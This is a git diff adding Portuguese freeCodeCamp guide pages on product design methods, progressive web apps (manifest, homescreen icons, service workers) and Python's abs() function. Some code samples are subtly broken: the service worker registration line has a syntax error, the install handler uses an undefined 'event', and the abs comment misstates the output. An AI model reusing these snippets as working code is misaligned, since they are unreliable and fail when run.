+Um mapa de empatia típico apresenta informações básicas sobre o entrevistado e separa a pesquisa visualmente em quatro quadrantes - o que os usuários pensam, fazem, dizem e sentem. Abaixo está um exemplo. ![texto alternativo](https://www.webtexttool.com/wp-content/uploads/2015/05/The-Empathy-Map.png)
+
+#### Mais Informações:
+
+[Como usar o mapeamento de empatia de persona](https://uxmag.com/articles/how-to-use-persona-empathy-mapping) [Design Thinking: mapas de empatia](https://uxdict.io/design-thinking-empathy-map-c69ab5d6b22)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/feature-analysis/index.md b/client/src/guide/portuguese/product-design/feature-analysis/index.md
new file mode 100644
index 0000000000..a9c53c9932
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/feature-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Analysis
+localeTitle: Análise de recursos
+---
+## Análise de recursos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/feature-analysis/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/feature-matrix/index.md b/client/src/guide/portuguese/product-design/feature-matrix/index.md
new file mode 100644
index 0000000000..a0c895cc49
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/feature-matrix/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Matrix
+localeTitle: Matriz de recursos
+---
+## Matriz de recursos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/feature-matrix/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/heuristic-review/index.md b/client/src/guide/portuguese/product-design/heuristic-review/index.md
new file mode 100644
index 0000000000..1018a7838e
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/heuristic-review/index.md
@@ -0,0 +1,17 @@
+---
+title: Heuristic Review
+localeTitle: Revisão heurística
+---
+## Revisão heurística
+
+Uma revisão heurística é centrada em torno de um conjunto de heurísticas: melhores práticas acordadas por especialistas do setor. Em uma análise heurística, um avaliador avaliará o design em relação a um determinado conjunto de heurísticas e tentará identificar quaisquer problemas com o design antes de recrutar usuários reais para testar o design. Por exemplo, dê uma olhada nas [10 Heurísticas de Usabilidade de Jakob Nielsen](https://www.nngroup.com/articles/ten-usability-heuristics/) .
+
+Uma análise heurística pode ser realizada por qualquer pessoa. Um especialista do setor provavelmente identificará mais problemas do que um novato, mas um novato pode usar esse método com a mesma facilidade. Além disso, um grupo de avaliadores pode identificar um subconjunto único de problemas; juntos formando um conjunto maior de questões em comparação com um único novato.
+
+Ao conduzir uma análise heurística, o avaliador deve procurar apenas as questões relacionadas ao conjunto de heurísticas. Esse método não fornecerá necessariamente nenhuma descoberta de design, mas oferece uma maneira rápida e eficiente de detectar peças essenciais ausentes em um design.
+
+Uma revisão heurística deve ocorrer quando modelos de baixa fidelidade estão disponíveis, o que pode levar a designs melhores e mais detalhados que podem ser exibidos para usuários reais.
+
+#### Citações
+
+Martin, Bella e Bruce M. Hanington. Métodos universais de projeto 100 maneiras de pesquisar problemas complexos, desenvolver idéias inovadoras e projetar soluções eficazes. Rockport Publishers, 2012.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/hypotheses-and-validating-assumptions/index.md b/client/src/guide/portuguese/product-design/hypotheses-and-validating-assumptions/index.md
new file mode 100644
index 0000000000..436df4a70f
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/hypotheses-and-validating-assumptions/index.md
@@ -0,0 +1,11 @@
+---
+title: Hypotheses and Validating Assumptions
+localeTitle: Hipóteses e premissas de validação
+---
+## Hipóteses e premissas de validação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/hypotheses-and-validating-assumptions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/index.md b/client/src/guide/portuguese/product-design/index.md
new file mode 100644
index 0000000000..041f241cb8
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/index.md
@@ -0,0 +1,7 @@
+---
+title: Product Design
+localeTitle: Design de produto
+---
+## Design de produto
+
+Nesta seção, teremos guias para uma ampla variedade de ferramentas e métodos usados ​​pelos designers de produtos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/landing-page-testing/index.md b/client/src/guide/portuguese/product-design/landing-page-testing/index.md
new file mode 100644
index 0000000000..890f53a64a
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/landing-page-testing/index.md
@@ -0,0 +1,7 @@
+---
+title: Landing Page Testing
+localeTitle: Teste de página de destino
+---
+## Teste de página de destino
+
+Uma landing page, como o próprio nome diz, é o lugar onde o visitante deposita seu interesse. O aeroporto é o primeiro lugar que você vê quando viaja para outro lugar de avião, certo? A página de destino funciona da mesma forma e sua missão é criar a melhor experiência para os visitantes, levando-os a assinar sua correspondência ou a adquirir um serviço.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/qualitative-testing/index.md b/client/src/guide/portuguese/product-design/qualitative-testing/index.md
new file mode 100644
index 0000000000..3f1a12324d
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/qualitative-testing/index.md
@@ -0,0 +1,29 @@
+---
+title: Qualitative Testing
+localeTitle: Teste qualitativo
+---
+## Teste qualitativo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/qualitative-testing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+O Teste Qualitativo engloba um conjunto de atividades usadas para determinar a qualidade de um sistema.
+
+Em termos de software, um especialista em domínio, por exemplo, engenheiro de teste ou pesquisador de usuário, usa várias técnicas para determinar a qualidade percebida de uma solução.
+
+Essas técnicas podem envolver:
+
+### Entrevistas do usuário
+
+O pesquisador entrevista as pessoas que se encaixam na persona do usuário alvo, fazendo várias perguntas sobre sua compreensão e apreciação do sistema em questão, com o mínimo de preparação. O usuário recebe uma introdução e pode simplesmente ser solicitado a tentar usar o sistema. Durante esse processo, o pesquisador toma nota das respostas explícitas do usuário, bem como das respostas implícitas, observando o tom de resposta, a linguagem corporal, a irritação ou o prazer.
+
+### pesquisas
+
+Embora as pesquisas geralmente sejam usadas para determinar informações estatísticas (ou sua relevância), elas podem conter perguntas abertas, que um pesquisador analisa para determinar a percepção do usuário.
+
+### Julgamento Pessoal
+
+Um especialista em domínio também pode fornecer feedback qualitativo direto com base em sua experiência, por exemplo, um designer de interface do usuário pode ver claramente que o tema de cores em um site cria uma dissonância cognitiva. Esse feedback é uma parte muito valiosa do Teste Qualitativo.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/quantitative-testing/index.md b/client/src/guide/portuguese/product-design/quantitative-testing/index.md
new file mode 100644
index 0000000000..7b5707162b
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/quantitative-testing/index.md
@@ -0,0 +1,28 @@
+---
+title: Quantitative Testing
+localeTitle: Teste Quantitativo
+---
+## Teste Quantitativo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/quantitative-testing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+Teste Quantitativo significa teste para estabelecer a freqüência, magnitude, recorrência de uma dada hipótese ou fenômeno.
+
+Em termos de software, pode haver muitos dos seguintes (mas não limitados a):
+
+*   Porcentagem de usuários únicos realizando determinada ação no seu website / interface
+*   Número de vezes que seu aplicativo falha
+*   Tempo médio de resposta do seu servidor para uma solicitação específica por um número definido de usuários
+*   Número total de solicitações que seu servidor pode manipular antes que o tempo de resposta comece a degradar
+
+Como tal, o Teste Quantitativo poderia ser realizado dentro de qualquer uma das seguintes atividades de teste de guarda-chuva:
+
+### Teste A / B
+
+### Teste de performance
+
+### Teste de Carga
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/storyboards/index.md b/client/src/guide/portuguese/product-design/storyboards/index.md
new file mode 100644
index 0000000000..03ab230825
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/storyboards/index.md
@@ -0,0 +1,21 @@
+---
+title: Storyboards
+localeTitle: Storyboards
+---
+## Storyboards
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/storyboards/index.md) .
+
+Mais contribuições são bem vindas.
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Storyboard de Chatbot
+
+Fluxo de conversação: refere-se às etapas a serem tomadas para estruturar um diálogo para agentes de conversação.
+
+#### Contação de histórias de Chatbot
+
+Como criar um agente de conversação específico de domínio que dependa de uma história de usuário (por exemplo, saúde, educação, comércio eletrônico)
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/testing-our-assumptions/index.md b/client/src/guide/portuguese/product-design/testing-our-assumptions/index.md
new file mode 100644
index 0000000000..cce6493b92
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/testing-our-assumptions/index.md
@@ -0,0 +1,15 @@
+---
+title: Testing Our Assumptions
+localeTitle: Testando nossas suposições
+---
+## Testando nossas suposições
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/testing-our-assumptions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Teste inicial de usabilidade:
+
+Como testar uma ideia com os usuários antes mesmo de iniciar a fase de design. Isso geralmente é feito com esboços de papel. Mais recursos aqui: https://www.usertesting.com/blog/2015/05/13/31-questions-every-designer-should-ask-when-testing-prototypes/
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/understanding-competitors/index.md b/client/src/guide/portuguese/product-design/understanding-competitors/index.md
new file mode 100644
index 0000000000..cfa0d120a7
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/understanding-competitors/index.md
@@ -0,0 +1,31 @@
+---
+title: Understanding Competitors
+localeTitle: Entendendo os concorrentes
+---
+## Entendendo os concorrentes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/understanding-competitors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+A Análise do concorrente compreende atividades que comparam sua solução ou ideia com o que é desenvolvido por concorrentes existentes ou potenciais. Este é um exercício muito valioso que ajuda a entender a situação do mercado, as expectativas do produto e pode revelar outras ideias de produtos. Além de conhecer seus concorrentes, a principal razão para a Análise de concorrentes é descobrir seus próprios pontos de venda exclusivos.
+
+A análise do concorrente pode incluir as seguintes práticas:
+
+### Comparação de recursos
+
+Uma das partes mais básicas e mais importantes da Análise do Concorrente é a Comparação de Recursos. Este exercício informará se você e seu concorrente oferecem os mesmos recursos ou mais ou menos deles. Você pode ainda olhar para a importância desses recursos para ver se você está no mesmo nível quando se trata dos recursos principais. Além disso, você pode analisar a integridade da sua oferta versus a do seu concorrente.
+
+### Comparações Qualitativas
+
+Aqui você analisa a usabilidade dos recursos e como eles são apresentados. Você pode ver que, embora seu concorrente forneça os mesmos recursos que você, a documentação deles pode ser muito superior, tornando sua oferta mais atraente para os clientes (se aplicável). Se você estiver comparando aplicativos para dispositivos móveis, um fator diferencial pode ser a experiência do usuário. Por exemplo, pense na aplicação de anotações que você usa no seu telefone versus a que você não usa. A maioria dos aplicativos de anotações tem funcionalidade comparável, mas a facilidade de uso faz com que um punhado deles seja um sucesso, enquanto milhares de aplicativos semelhantes não o fazem.
+
+### Comparações de preço e distribuição
+
+É importante ver como o concorrente avalia sua oferta. Isso não diz apenas como você pode precificar seu produto, mas também fornece informações valiosas sobre quais faixas de preço são aceitáveis ​​para os clientes. Você também pode procurar mais e ver se o concorrente oferece seu aplicativo em um teste gratuito ou recursos gratuitos com recursos pagos ou pagos apenas. Eles vão com uma opção apenas para convidados, criando um senso de exclusividade, ou é livremente acessível a todos? Seu concorrente vai diretamente para os clientes finais ou eles trabalham através de revendedores? Estes são todos bons indicadores para a realidade do mercado.
+
+#### Resumo
+
+Em resumo, a Análise do concorrente ajuda você a entender o mercado e fornece informações para melhor posicionar seu produto.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/usability-testing/index.md b/client/src/guide/portuguese/product-design/usability-testing/index.md
new file mode 100644
index 0000000000..12d2d44725
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/usability-testing/index.md
@@ -0,0 +1,21 @@
+---
+title: Usability Testing
+localeTitle: Testando usabilidade
+---
+## Testando usabilidade
+
+O teste de usabilidade permite que um designer avalie como os usuários reais interagem com seus designs. Os designers descobrirão áreas do design que frustram ou confundem os usuários, e esses problemas podem ser priorizados. Os designers também descobrirão os destaques dentro do design, onde os usuários ficam agradavelmente surpresos ou satisfeitos.
+
+Testes de usabilidade são projetados em torno de cenários que os designers imaginam ser cenários "típicos". Esses cenários incluirão tarefas, que são ações concretas que podem ser feitas com o design. As tarefas devem se correlacionar diretamente com as metas reais dos usuários alvo. Designers devem tomar cuidado para não influenciar os usuários através da formulação de situações ou tarefas.
+
+Geralmente, os testes de usabilidade são projetados em torno de uma técnica de "protocolo em voz alta", na qual o usuário ditará suas ações e pensamentos ao interagir com o design.
+
+Designers devem prestar atenção aos seguintes possíveis problemas:
+
+1) O usuário entende a tarefa, mas não consegue concluí-la a tempo 2) O usuário expressa surpresa ou prazer 3) O usuário expressa frustração ou confusão 4) O usuário indica algo que não faz sentido para eles 5) O usuário sugere uma mudança no design
+
+Também é importante ter em mente que, com mais participantes, mais problemas serão descobertos por meio do teste de usabilidade. Também pode ser benéfico registrar os rostos e o áudio dos participantes, bem como a tela e qualquer pressão digital em um aplicativo móvel, se aplicável.
+
+#### Citações
+
+Martin, Bella e Bruce M. Hanington. Métodos universais de projeto 100 maneiras de pesquisar problemas complexos, desenvolver idéias inovadoras e projetar soluções eficazes. Rockport Publishers, 2012.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/progressive-web-apps/add-to-homescreen/index.md b/client/src/guide/portuguese/progressive-web-apps/add-to-homescreen/index.md
new file mode 100644
index 0000000000..2cb6cf3c6e
--- /dev/null
+++ b/client/src/guide/portuguese/progressive-web-apps/add-to-homescreen/index.md
@@ -0,0 +1,136 @@
+---
+title: Add To Homescreen
+localeTitle: Adicionar à tela inicial
+---
+## Adicionar à tela inicial
+
+Aqui, o banner de instalação de aplicativos da web é focado no aplicativo da web, com o recurso de adicionar à tela inicial.
+
+### Suporte do navegador para adicionar à tela inicial
+
+Adicionar à funcionalidade Homescreen é atualmente suportado por:
+
+*   cromada
+*   Safari iOS
+
+Você pode ver o status mais recente do suporte ao navegador deste recurso [aqui](https://caniuse.com/#feat=web-app-manifest) .
+
+### No Android
+
+No Android, o banner "adicionar à tela inicial" é exibido automaticamente se você atender a determinados requisitos. É assim que deve ser no Android:
+
+| Adicionar ao prompt da tela inicial | Quando o aplicativo foi lançado | | : ----------------------: | : ---------------: | | ![prompt](https://user-images.githubusercontent.com/15358452/31663686-860779f0-b375-11e7-85c9-1387d9b3bfcf.png "Adicionar ao prompt de tela inicial no android") | ![launch](https://user-images.githubusercontent.com/15358452/31663690-89b0d998-b375-11e7-8a84-f3e33be9a2c2.png "Lançamento da Homescreen") |
+
+#### Requisitos
+
+*   inclua um arquivo `manifest.json` com as seguintes propriedades:
+*   `short name`
+*   `name`
+*   `192x192` tamanho do ícone `png`
+*   `start_url`
+*   incluir um trabalhador de serviço que seja registrado e ativado
+*   o site servido via HTTPS (você ainda pode tentar isso com localhost sem HTTPS)
+*   o website atende à heurística de engajamento definida pelo Google Chrome
+
+#### manifest.json
+
+```json
+{ 
+  "name": "FreeCodeCamp", 
+  "short_name": "FreeCodeCamp", 
+  "theme_color": "#00FF00", 
+  "background_color": "#00FF00", 
+  "display": "standalone", 
+  "Scope": "/", 
+  "start_url": "/", 
+  "icons": [ 
+    { 
+      "src": "assets/images/icons/icon-72x72.png", 
+      "sizes": "72x72", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-96x96.png", 
+      "sizes": "96x96", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-128x128.png", 
+      "sizes": "128x128", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-144x144.png", 
+      "sizes": "144x144", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-152x152.png", 
+      "sizes": "152x152", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-192x192.png", 
+      "sizes": "192x192", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-384x384.png", 
+      "sizes": "384x384", 
+      "type": "image/png" 
+    }, 
+    { 
+      "src": "assets/images/icons/icon-512x512.png", 
+      "sizes": "512x512", 
+      "type": "image/png" 
+    } 
+  ], 
+  "splash_pages": null 
+ } 
+```
+
+*   `name` é o nome do aplicativo da web. (Isso será mostrado na tela de lançamento)
+*   `short name` é o nome abreviado do aplicativo da web. (Será mostrado abaixo o ícone do menu do telefone)
+*   `theme_color` é a cor da parte superior do navegador.
+*   `background_color` é a cor de fundo da tela de inicialização.
+*   `display` é a maneira como o aplicativo da web deve exibir uma vez iniciado no telefone.
+*   `start_url` define o URL inicial do site.
+*   `icons` é uma matriz que armazena todas as localizações, tamanhos e tipos de imagens.
+
+### Em outros dispositivos
+
+Embora esse método não funcione no iOS e no Windows, há um método de fallback.
+
+**iOS**
+
+No iOS, o botão "adicionar à tela inicial" deve ser adicionado manualmente. Adicione as seguintes metatags à seção principal do seu HTML para suportar o ícone do aplicativo da web para iOS.
+
+```html
+
+<meta name="apple-mobile-web-app-capable" content="yes"> 
+ <meta name="apple-mobile-web-app-status-bar-style" content="green"> 
+ <meta name="apple-mobile-web-app-title" content="FreeCodeCamp"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-72x72.png" sizes="72x72"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-96x96.png" sizes="96x96"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-128x128.png" sizes="128x128"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-144x144.png" sizes="144x144"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-152x152.png" sizes="152x152"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-192x192.png" sizes="192x192"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-384x384.png" sizes="384x384"> 
+ <link rel="apple-touch-icon" href="/assets/images/icons/icon-512x512.png" sizes="512x512"> 
+```
+
+**janelas**
+
+No windows phone, adicione as seguintes metatags à seção head do seu HTML:
+
+```html
+
+<meta name="msapplication-TileImage" content="/assets/images/icons/icon-144x144.png"> 
+ <meta name="msapplication-TileColor" content="green"> 
+```
+
+### Referências
+
+1.  [superoo7, "Uma visão de alto nível do Progressive Web App" Publicado: 18 de dezembro de 2017.](https://steemit.com/web/@superoo7/a-high-level-view-of-progressive-web-app)
+2.  [Matt Gaunt e Paul Kinlan, "Web App Instalar Banners" Publicado: 14 de novembro de 2017.](https://developers.google.com/web/fundamentals/app-install-banners/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/progressive-web-apps/app-shell/index.md b/client/src/guide/portuguese/progressive-web-apps/app-shell/index.md
new file mode 100644
index 0000000000..c857a6dfca
--- /dev/null
+++ b/client/src/guide/portuguese/progressive-web-apps/app-shell/index.md
@@ -0,0 +1,13 @@
+---
+title: App Shell
+localeTitle: App Shell
+---
+## App Shell
+
+Este é um esboço.
+
+[Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/progressive-web-apps/app-shell/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações
\ No newline at end of file
diff --git a/client/src/guide/portuguese/progressive-web-apps/index.md b/client/src/guide/portuguese/progressive-web-apps/index.md
new file mode 100644
index 0000000000..6410795afd
--- /dev/null
+++ b/client/src/guide/portuguese/progressive-web-apps/index.md
@@ -0,0 +1,52 @@
+---
+title: Progressive Web Apps
+localeTitle: Aplicativos da Web progressivos
+---
+## Aplicativos da Web progressivos
+
+Aplicativos da Web progressivos ou "PWAs" parecem ser mais do que apenas uma moda passageira, mas uma maneira fundamentalmente diferente de abordar o que um site pode e deve estar em qualquer plataforma da qual você esteja visualizando.
+
+Os PWAs podem instalar partes deles próprios em dispositivos para visualização off-line, usar trabalhadores de serviços para fornecer conteúdo conforme necessário quando houver uma conexão disponível e, melhor de tudo, padronizar determinadas funcionalidades entre dispositivos móveis e de mesa.
+
+### Características
+
+Recursos específicos dos PWAs incluem:
+
+*   **Responsivo**
+*   cabe qualquer fator de forma
+*   **Recursos off-line**
+*   progressivamente aprimorada com os Trabalhadores de Serviço para permitir que eles trabalhem off-line
+*   **Nativo App Sinta**
+*   adota um modelo de aplicativo Shell & Content para criar navegação e interações de aplicativos
+*   **Fresco**
+*   sempre atualizado graças aos trabalhadores de serviços
+*   **Seguro**
+*   servida via TLS (um requisito de Trabalhador de Serviço) para evitar bisbilhotar
+*   **Detectável**
+*   identificável como "aplicativos" graças ao escopo de registro do W3C Manifests e Service Worker, permitindo que os mecanismos de pesquisa os encontrem
+*   **Noivando**
+*   pode acessar as UIs de reengajamento do sistema operacional por meio de notificações push
+*   **Instalação fácil**
+*   pode ser adicionado à tela inicial por meio de prompts fornecidos pelo navegador, permitindo que os usuários "mantenham" os aplicativos mais úteis sem o incômodo de uma loja de aplicativos
+*   **Linkable**
+*   ou seja, eles são zero-fricção, zero-instalar e fácil de compartilhar
+*   o poder social dos assuntos de URLs
+
+> Esses aplicativos não são empacotados e implantados em lojas, são apenas sites que usaram todas as vitaminas certas. 1
+
+### Aprimoramento Progressivo
+
+Aprimoramento progressivo significa que todos podem acessar o conteúdo básico e a funcionalidade de uma página em qualquer navegador, e aqueles sem determinados recursos do navegador podem receber uma experiência reduzida, mas ainda assim funcional. [\- Farol](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-4-site-is-progressively-enhanced-b5ad7cf7a447) 2
+
+Uma ótima analogia de [Aaron Gustafson](http://alistapart.com/article/understandingprogressiveenhancement) é que o aprimoramento progressivo (PE) é como um amendoim M & M.
+
+> "O amendoim é o seu conteúdo, o revestimento de chocolate é a sua camada de apresentação e seu JavaScript é a casca de doce duro."
+
+Isso implica que, dependendo do navegador, a experiência pode mudar.
+
+### Demonstração
+
+### Referências
+
+1.  [Russell, Alex. "Aplicativos da Web progressivos: escapando de guias sem perder a alma" "Notado com pouca frequência" Publicado em: 15 de junho de 2015.](https://infrequently.org/2015/06/progressive-apps-escaping-tabs-without-losing-our-soul/)
+2.  [Aplicativos da Web progressivos - Google Developers](https://developers.google.com/web/progressive-web-apps/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/progressive-web-apps/service-workers/index.md b/client/src/guide/portuguese/progressive-web-apps/service-workers/index.md
new file mode 100644
index 0000000000..8f3ddaccb8
--- /dev/null
+++ b/client/src/guide/portuguese/progressive-web-apps/service-workers/index.md
@@ -0,0 +1,84 @@
+---
+title: Service Workers
+localeTitle: Trabalhadores de serviço
+---
+## Trabalhadores de serviço
+
+O Service Worker é um script que funciona no segundo plano do navegador sem interação do usuário de forma independente. Além disso, ele se assemelha a um proxy que funciona no lado do usuário. Com esse script, você pode rastrear o tráfego de rede da página, gerenciar notificações push e desenvolver aplicativos da Web "offline primeiro" com a API de cache.
+
+### O que podemos fazer com o Service Worker?
+```
+You can dominate Network Traffic! 
+ You can manage all network traffic of the page and do any manipulations. 
+ You can “Cache”! 
+ You can cache any request/response pair with Service Worker and Cache API and you can access these offline content anytime. 
+ You can manage Push Notifications! 
+ You can manage push notifications with Service Worker and show any information message to the user. 
+ Although Internet connection is broken, you can start any process with Background Sync of Service Worker. 
+```
+
+### O que não podemos fazer com o Service Worker?
+```
+You can't access the window! 
+ You can't access the window, therefore, You can't any manipulation DOM elements. 
+ But, you can communicate to the window through postMessage and manage processes that you want. 
+ You can't work it on 80 Port! 
+ Service Worker just can work on HTTPS protocol. But you can work on localhost during development. 
+```
+
+### Ciclo de Vida do Trabalhador de Serviço
+
+O ciclo de vida do Service Worker tem 3 etapas; Registro, instalação e ativação.
+
+### Registrando um trabalhador de serviço
+
+Antes de instalar um Service Worker, você precisa registrar um do seu arquivo JavaScript principal. Isso pode ser feito graças ao método navigator.serviceWorker.register assim:
+
+```javascript
+if ('serviceWorker' in navigator) { 
+ navigator.serviceWorker.register('/serviceWorkerArticles.js', { scope: '/' }): 
+ } 
+```
+
+Este método usa dois parâmetros:
+```
+The name of the javascript file, relative to the root of your domain 
+ (Optional) The scope to give a specific perimeter where your ServiceWorker has power to work. Basically it is the folder where it has control for assets, the default value is the root of the domain. 
+```
+
+### Instalando e usando um Service Worker
+
+Agora que registramos um Service Worker em 'serviceWorker.js', vamos preencher esse arquivo para que seu site sobre um artigo político possa ter seu artigo lido off-line se o usuário já tiver visitado o artigo necessário anteriormente.
+
+Para a maioria das ações, basta fazer um addEventListener, já que os Service Workers já têm muitos eventos úteis para ouvir!
+
+```javascript
+self.addEventListener('install', cach => { 
+    event.waitUntil( 
+        caches.open('v1').then(cache => { 
+            return cache.addAll([ 
+              '/', 
+              '/style.css', 
+              '/app.js', 
+              '/favicon.ico', 
+              '/frontPageCover.jpg', 
+            ]); 
+          }) 
+        ); 
+    }); 
+```
+
+Nós temos 3 métodos interessantes aqui! Vamos dar uma olhada rápida em todos eles:
+```
+event.waitUntil: This method is used in an event to make it wait for a Promise to be resolved, in our case we have to compute things from cache before the Service Worker is considered installed 
+ 
+ caches.open: This method comes form the CacheStorage API, it returns a Promise that containing the cache you asked in given parameter. 
+ 
+ cache.addAll: This method comes form the Cache API (do not confuse with the CacheStorage, the Cache API is an object that is returned by the caches.open ). This method takes an array of URLs, and for each of them try to retrieve them and store it in the Cache object. 
+```
+
+Portanto, com este código, seu Service Worker agora está registrado, instalado e ativo. Se você for para a página inicial do seu site e recarregá-lo enquanto estiver no modo off-line, será possível ver sua página como antes!
+
+#### Mais Informações
+
+[Um guia para principiantes de trabalhadores de serviços](https://medium.com/samsung-internet-dev/a-beginners-guide-to-service-workers-f76abf1960f6) [Trabalhadores de serviço em JS e leitura offline](https://medium.com/quick-code/service-workers-in-js-and-offline-reading-7bac9d4980ea) [O que é trabalhador de serviço?](https://medium.com/commencis/what-is-service-worker-4f8dc478f0b9)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/puppet/index.md b/client/src/guide/portuguese/puppet/index.md
new file mode 100644
index 0000000000..d7550bff3f
--- /dev/null
+++ b/client/src/guide/portuguese/puppet/index.md
@@ -0,0 +1,11 @@
+---
+title: Puppet
+localeTitle: Fantoche
+---
+## Fantoche
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/abs-function/index.md b/client/src/guide/portuguese/python/abs-function/index.md
new file mode 100644
index 0000000000..8c6c452ccf
--- /dev/null
+++ b/client/src/guide/portuguese/python/abs-function/index.md
@@ -0,0 +1,29 @@
+---
+title: Python Abs Function
+localeTitle: Função de Abs Python
+---
+`abs()` é uma função embutida no Python 3, para calcular o valor absoluto de qualquer número. O valor absoluto de um número "significa apenas até que ponto um número é de 0" 1 Leva um argumento `x` . O argumento pode até ser um [número complexo](https://docs.python.org/3.0/library/cmath.html) e, nesse caso, seu [módulo](http://www.mathcentre.ac.uk/resources/sigma%20complex%20number%20leaflets/sigma-complex9-2009-1.pdf) é retornado.
+
+## Argumento
+
+Leva um argumento `x` - um inteiro, ou decimal, ou um número complexo.
+
+## Valor de retorno
+
+O valor de retorno seria um número positivo. Mesmo se o número complexo for passado, ele retornará sua magnitude, calculada de acordo com a álgebra numérica complexa.
+
+## Amostra de código
+
+```python
+print(abs(3.4)) # prints 3.4 
+ print(abs(-6)) # prints 6 
+ print(abs(3 + 4j)) # prints 5, because |3 + 4j| = 5 
+```
+
+[🚀 Run Code](https://repl.it/CL8k/0)
+
+[Documentos oficiais](https://docs.python.org/3/library/functions.html#abs)
+
+### Fontes
+
+1.  [A matemática é divertida. Acesso em: 25 de outubro de 2017](https://www.mathsisfun.com/numbers/absolute-value.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/all-iterable/index.md b/client/src/guide/portuguese/python/all-iterable/index.md
new file mode 100644
index 0000000000..0f3f4fe9d7
--- /dev/null
+++ b/client/src/guide/portuguese/python/all-iterable/index.md
